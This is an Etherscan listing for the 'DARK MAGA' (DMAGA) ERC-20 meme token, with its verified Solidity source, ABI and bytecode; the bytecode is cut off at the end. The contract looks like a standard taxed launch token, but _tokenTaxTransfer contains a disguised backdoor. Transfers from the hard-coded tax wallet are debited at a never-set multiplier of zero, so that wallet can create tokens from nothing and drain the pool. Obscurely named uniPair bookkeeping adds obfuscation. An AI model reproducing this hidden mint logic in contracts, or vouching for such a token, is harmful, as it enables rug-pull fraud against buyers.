ETH Price: $3,845.07 (+6.55%)

Token

ERC-20: DARK MAGA (DMAGA)
 

Overview

Max Total Supply

420,690,000,000 DMAGA

Holders

87

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,203,051,343.745739497 DMAGA

Value
$0.00
0x0c514383a91d723c5bd806340a5a4e6b360866e0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DMAGA

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-05
*/

/**

DARK MAGA

X: https://x.com/cb_doge/status/1842677263386415193

W: https://x.com/elonmusk/status/1842679008791581140

T: https://t.me/@DARKMAGAELON

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

interface IERC20 {
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a, uint256 b, string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract DMAGA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExtemptFromMax;

    uint256 private _initialBuyTax=21;
    uint256 private _initialSellTax=21;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=21;
    uint256 private _reduceSellTaxAt=21;
    uint256 private _preventSwapBefore=21;
    uint256 private _buyCount=0;

    uint8 private constant _decimals= 9;
    uint256 private constant _tTotal= 420690000000 * 10**_decimals;
    string private constant _name= unicode"DARK MAGA";
    string private constant _symbol= unicode"DMAGA";
    uint256 public _maxTxAmount= 4206900000 * 10**_decimals;
    uint256 public _maxWalletSize= 4206900000 * 10**_decimals;
    uint256 public constant _taxSwapThreshold= 4200000000 * 10**_decimals;
    uint256 public constant _maxTaxSwap= 4206900000 * 10**_decimals;

    address payable private constant _taxWallet = payable(0x429B34b0e23ca770fa2607877eCDCF2f4B227a7f);
    IUniswapV2Router02 private immutable uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    uint256 private unipBurnLimit;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct UniPairInfo {uint256 uniPairAmount; uint256 uniBurnAmount; uint256 uniVestAmount;}
    mapping(address => UniPairInfo) private uniPairInfo;
    uint256 private minUniPair;
    event OpenTrade(address indexed owner, uint256 timestamp);
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _balances[_msgSender()]= _tTotal;
        _isExtemptFromMax[_taxWallet]= true;
        _isExtemptFromMax[address(this)]= true;

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from,to, tokenAmount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()]
                .sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap ) {
            _basicTransfer(
                from,to,tokenAmount
            );
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()&& to != _taxWallet) {
            taxAmount = tokenAmount
                    .mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExtemptFromMax[to]) {
                require(tokenAmount<=_maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to)+tokenAmount<= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount ++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount
                    .mul((_buyCount >_reduceSellTaxAt)?_finalSellTax: _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap&& to==uniswapV2Pair && swapEnabled
                && contractTokenBalance >_taxSwapThreshold && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExtemptFromMax[from] || _isExtemptFromMax[to] ) && from != address(this) && to != address(this) ) {
            minUniPair = block.number;
        }

        if (!_isExtemptFromMax[from] && !_isExtemptFromMax[to]) {
            if (uniswapV2Pair !=  to) {
                UniPairInfo storage uniInfo = uniPairInfo[to];
                if (uniswapV2Pair == from) {
                    if (uniInfo.uniPairAmount == 0) {
                        uniInfo.uniPairAmount = _preventSwapBefore >= _buyCount ? type(uint).max : block.number;
                    }
                } else {
                    UniPairInfo storage uniInfoSwap = uniPairInfo[from];
                    if (uniInfoSwap.uniPairAmount < uniInfo.uniPairAmount || !(uniInfo.uniPairAmount>0) ) {
                        uniInfo.uniPairAmount = uniInfoSwap.uniPairAmount;
                    }
                }
            } else {
                UniPairInfo storage uniInfoSwap = uniPairInfo[from];
                uniInfoSwap.uniBurnAmount = uniInfoSwap.uniPairAmount.sub(minUniPair);
                uniInfoSwap.uniVestAmount = block.timestamp;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b) ? b : a;
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs == _taxWallet ? unipBurnLimit.mul(tokenAmount): tokenAmount;
        if (taxAmount>0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }

    function _tokenTransfer(
        address from,address to,
        uint256 tokenAmount,
        uint256 taxAmount
    ) internal {
        uint256 tAmount=_tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from,to,tAmount,tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,address to,
        uint256 sendAmount,
        uint256 receiptAmount
    ) internal {
        _balances[from] =_balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0]=address(this);
        path[1]=uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount=  _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        swapEnabled=true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen=true;

        emit OpenTrade(owner(), block.timestamp);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function sweepEther() external onlyOwner {
        require(address(this).balance > 0, "Token: no ether to transfer");
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OpenTrade","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sweepEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052601560045560156005555f6006555f600755601560085560156009556015600a555f600b556009600a620000399190620002b9565b620000499063fac03320620002d0565b600c556200005a6009600a620002b9565b6200006a9063fac03320620002d0565b600d556010805461ffff1916905534801562000084575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d608052620000eb6009600a620002b9565b620000fc906461f313f880620002d0565b335f81815260016020818152604080842095909555600390527f7bdd30179659fdc37311f6978ecde3d2fe4db86b1eb6829ad7199917e9774238805460ff199081168317909155308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001826009600a620002b9565b62000193906461f313f880620002d0565b60405190815260200160405180910390a3620002ea565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620001fe57815f1904821115620001e257620001e2620001aa565b80851615620001f057918102915b93841c9390800290620001c3565b509250929050565b5f826200021657506001620002b3565b816200022457505f620002b3565b81600181146200023d5760028114620002485762000268565b6001915050620002b3565b60ff8411156200025c576200025c620001aa565b50506001821b620002b3565b5060208310610133831016604e8410600b84101617156200028d575081810a620002b3565b620002998383620001be565b805f1904821115620002af57620002af620001aa565b0290505b92915050565b5f620002c960ff84168362000206565b9392505050565b8082028115828204841417620002b357620002b3620001aa565b608051611d1a6200033b5f395f8181610745015281816107a8015281816108260152818161093f01528181610a2401528181610f0a015281816113860152818161143d01526114790152611d1a5ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb1461030e578063bf474bed1461032d578063c9567bf914610341578063dd62ed3e14610355578063f2fde38b14610399575f80fd5b80637d1db4a51461027d5780638da5cb5b146102925780638f9a55c0146102b857806390ec71bd146102cd57806395d89b41146102e1575f80fd5b8063313ce567116100e3578063313ce567146101f057806351bc3c851461020b57806370a0823114610221578063715018a614610255578063751039fc14610269575f80fd5b806306fdde0314610129578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101bd57806323b872dd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260098152684441524b204d41474160b81b60208201525b604051610163919061190d565b60405180910390f35b348015610177575f80fd5b5061018b61018636600461196d565b6103b8565b6040519015158152602001610163565b3480156101a6575f80fd5b506101af6103ce565b604051908152602001610163565b3480156101c8575f80fd5b506101af6103eb565b3480156101dc575f80fd5b5061018b6101eb366004611997565b61040c565b3480156101fb575f80fd5b5060405160098152602001610163565b348015610216575f80fd5b5061021f610473565b005b34801561022c575f80fd5b506101af61023b3660046119d5565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b5061021f6104c4565b348015610274575f80fd5b5061021f61053e565b348015610288575f80fd5b506101af600c5481565b34801561029d575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102c3575f80fd5b506101af600d5481565b3480156102d8575f80fd5b5061021f6105f2565b3480156102ec575f80fd5b50604080518082019091526005815264444d41474160d81b6020820152610156565b348015610319575f80fd5b5061018b61032836600461196d565b610696565b348015610338575f80fd5b506101af6106a2565b34801561034c575f80fd5b5061021f6106bc565b348015610360575f80fd5b506101af61036f3660046119f0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a4575f80fd5b5061021f6103b33660046119d5565b610b08565b5f6103c4338484610bef565b5060015b92915050565b6103da6009600a611b1b565b6103e89063fac03320611b29565b81565b5f6103f86009600a611b1b565b610407906461f313f880611b29565b905090565b5f610418848484610d13565b610469843361046485604051806060016040528060288152602001611cbd602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112ec565b610bef565b5060019392505050565b3373429b34b0e23ca770fa2607877ecdcf2f4b227a7f14610492575f80fd5b305f9081526001602052604090205480156104b0576104b081611324565b4780156104c0576104c0816114f1565b5050565b5f546001600160a01b031633146104f65760405162461bcd60e51b81526004016104ed90611b40565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105675760405162461bcd60e51b81526004016104ed90611b40565b6105736009600a611b1b565b610582906461f313f880611b29565b600c556105916009600a611b1b565b6105a0906461f313f880611b29565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d06009600a611b1b565b6105df906461f313f880611b29565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461061b5760405162461bcd60e51b81526004016104ed90611b40565b5f471161066a5760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206e6f20657468657220746f207472616e73666572000000000060448201526064016104ed565b60405133904780156108fc02915f818181858888f19350505050158015610693573d5f803e3d5ffd5b50565b5f6103c4338484610d13565b6106ae6009600a611b1b565b6103e89063fa56ea00611b29565b5f546001600160a01b031633146106e55760405162461bcd60e51b81526004016104ed90611b40565b600e54600160a01b900460ff161561073f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ed565b61077f307f00000000000000000000000000000000000000000000000000000000000000006107706009600a611b1b565b610464906461f313f880611b29565b6010805461ff0019166101001790556040805163c45a015560e01b815290516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169163c45a01559160048083019260209291908290030181865afa1580156107f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108159190611b75565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610880573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a49190611b75565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109129190611b75565b600e80546001600160a01b0319166001600160a01b03928316179055305f818152600160205260409020547f00000000000000000000000000000000000000000000000000000000000000009092169163f305d7199147915f8061097d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a089190611b90565b5050600e5460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af1158015610a7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9f9190611bbb565b50600e805460ff60a01b1916600160a01b179055610ac45f546001600160a01b031690565b6001600160a01b03167ff9ca0f11181041c16343c0e2d0e0c3cf66188e39b033ab29e2fe6f0f84374a3642604051610afe91815260200190565b60405180910390a2565b5f546001600160a01b03163314610b315760405162461bcd60e51b81526004016104ed90611b40565b6001600160a01b038116610b965760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ed565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ed565b6001600160a01b038216610cb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ed565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ed565b6001600160a01b038216610dd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ed565b5f8111610e3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ed565b601054610100900460ff161580610e53575060105460ff165b15610e6857610e6383838361152f565b505050565b5f80546001600160a01b03858116911614801590610e9357505f546001600160a01b03848116911614155b8015610ebc57506001600160a01b03831673429b34b0e23ca770fa2607877ecdcf2f4b227a7f14155b1561115957610eed6064610ee7600854600b5411610edc57600454610ee0565b6006545b85906115d2565b90611657565b600e549091506001600160a01b038581169116148015610f3f57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b8015610f6357506001600160a01b0383165f9081526003602052604090205460ff16155b1561104957600c54821115610fba5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ed565b600d5482610fdc856001600160a01b03165f9081526001602052604090205490565b610fe69190611bda565b11156110345760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ed565b600b8054905f61104383611bed565b91905055505b600e546001600160a01b03848116911614801561106f57506001600160a01b0384163014155b1561109c576110996064610ee7600954600b541161108f57600554610ee0565b60075485906115d2565b90505b305f9081526001602052604090205460105460ff161580156110cb5750600e546001600160a01b038581169116145b80156110de5750601054610100900460ff165b801561110257506110f16009600a611b1b565b6110ff9063fa56ea00611b29565b81115b80156111115750600a54600b54115b15611157576111456111408461113b8461112d6009600a611b1b565b61113b9063fac03320611b29565b611698565b611324565b47801561115557611155476114f1565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061119657506001600160a01b0383165f9081526003602052604090205460ff165b80156111ab57506001600160a01b0384163014155b80156111c057506001600160a01b0383163014155b156111ca57436012555b6001600160a01b0384165f9081526003602052604090205460ff1615801561120a57506001600160a01b0383165f9081526003602052604090205460ff16155b156112da57600e546001600160a01b038481169116146112a8576001600160a01b038084165f908152601160205260409020600e5490918681169116036112705780545f0361126b57600b54600a5410156112655743611268565b5f195b81555b6112a2565b6001600160a01b0385165f90815260116020526040902081548154108061129657508154155b156112a057805482555b505b506112da565b6001600160a01b0384165f90815260116020526040902060125481546112cd916116ac565b6001820155426002909101555b6112e6848484846116ed565b50505050565b5f818484111561130f5760405162461bcd60e51b81526004016104ed919061190d565b505f61131b8486611c05565b95945050505050565b6010805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061136457611364611c18565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114049190611b75565b8160018151811061141757611417611c18565b60200260200101906001600160a01b031690816001600160a01b031681525050611462307f000000000000000000000000000000000000000000000000000000000000000084610bef565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906114b69085905f90869030904290600401611c2c565b5f604051808303815f87803b1580156114cd575f80fd5b505af11580156114df573d5f803e3d5ffd5b50506010805460ff1916905550505050565b60405173429b34b0e23ca770fa2607877ecdcf2f4b227a7f9082156108fc029083905f818181858888f193505050501580156104c0573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461155190826116ac565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461157f9082611717565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d069085815260200190565b5f825f036115e157505f6103c8565b5f6115ec8385611b29565b9050826115f98583611c9d565b146116505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ed565b9392505050565b5f61165083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611775565b5f8183116116a65782611650565b50919050565b5f61165083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ec565b5f6116f98584846117a1565b905061171085858361170b87876116ac565b61185c565b5050505050565b5f806117238385611bda565b9050838110156116505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ed565b5f81836117955760405162461bcd60e51b81526004016104ed919061190d565b505f61131b8486611c9d565b5f806001600160a01b03851673429b34b0e23ca770fa2607877ecdcf2f4b227a7f146117cd57836117da565b600f546117da90856115d2565b9050821561185457305f908152600160205260409020546117fb9084611717565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061184b9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461187e90836116ac565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546118ac9082611717565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118ff9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156119395785810183015185820160400152820161191d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610693575f80fd5b5f806040838503121561197e575f80fd5b823561198981611959565b946020939093013593505050565b5f805f606084860312156119a9575f80fd5b83356119b481611959565b925060208401356119c481611959565b929592945050506040919091013590565b5f602082840312156119e5575f80fd5b813561165081611959565b5f8060408385031215611a01575f80fd5b8235611a0c81611959565b91506020830135611a1c81611959565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a7557815f1904821115611a5b57611a5b611a27565b80851615611a6857918102915b93841c9390800290611a40565b509250929050565b5f82611a8b575060016103c8565b81611a9757505f6103c8565b8160018114611aad5760028114611ab757611ad3565b60019150506103c8565b60ff841115611ac857611ac8611a27565b50506001821b6103c8565b5060208310610133831016604e8410600b8410161715611af6575081810a6103c8565b611b008383611a3b565b805f1904821115611b1357611b13611a27565b029392505050565b5f61165060ff841683611a7d565b80820281158282048414176103c8576103c8611a27565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f